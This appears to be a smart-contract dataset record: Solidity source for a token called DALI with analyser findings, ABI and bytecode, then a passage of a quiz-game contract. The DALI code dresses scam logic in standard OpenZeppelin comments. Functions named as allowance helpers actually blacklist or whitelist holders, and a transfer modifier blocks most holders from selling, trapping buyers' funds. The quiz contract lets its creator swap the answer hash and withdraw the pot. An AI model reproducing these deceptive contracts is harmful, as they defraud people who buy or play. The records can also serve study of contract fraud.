function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract DALI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["541"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["454"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["775", "778"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [312, 313, 314, 315]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [213]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [774]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [773]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [454]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [458]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [770]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [772]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [69, 70, 71]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [233, 234, 235, 236, 237, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [284, 285, 286]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [704, 705, 706, 707, 708, 709, 701, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [793, 794, 795]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [179, 180, 181, 182]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [296, 297, 294, 295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [142, 143, 144, 145, 146, 147, 148, 149]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [332, 333, 334, 335]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [162, 163, 164]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [672, 663, 664, 665, 666, 667, 668, 669, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [206, 207, 208, 209, 210, 211, 212, 213, 214, 215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [269, 270, 271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DALI.sol": [259, 260, 261]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [544, 545, 546, 547, 548, 549, 539, 540, 541, 542, 543]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [568, 565, 566, 567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [515, 516, 517]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [582, 583, 584, 585, 586]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [554, 555, 556]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [483, 484, 485]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [600, 601, 602, 603, 604, 605, 606]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [491, 492, 493]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [640, 641, 642, 643, 644, 645, 646]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [624, 625, 622, 623]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [522, 523, 524]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DALI.sol": [508, 509, 510]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [28]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DALI.sol": [491, 492, 493]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DALI.sol": [483, 484, 485]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [303]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [237]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"DALI.sol": [624]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DALI.sol": [624]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DALI.sol": [475]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [456]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [683, 684, 685, 686, 687, 688]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"DALI.sol": [437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 458, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 437, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 28, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 441, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 442, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 443, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 445, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 447, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 449, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 451, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 452, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 453, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 454, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 457, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 458, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 438, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 206, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 213, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 233, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 470, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 233, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 233, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 472, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 473, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 474, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 475, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 476, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 476, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 476, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"approvecount","type":"uint256"},{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a510000000000000000000000000009e597ee9043b1e61ab9f66aa3eeec26fa85a7f0f000000000000000000000000000000000000000000000000000000000000000c64616c692e66696e616e63650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000444414c4900000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://2d84c707593c297d64edea228764c410b6d28feb54d7f9d434ebd50f9cd96314 |
||
TheQuizGame | 0x28e0d54349c00607505aadc713147140fb60ea12 | Solidity | pragma solidity ^0.4.20;
contract TheQuizGame
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function StartTheGame(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
selfdestruct(msg.sender);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
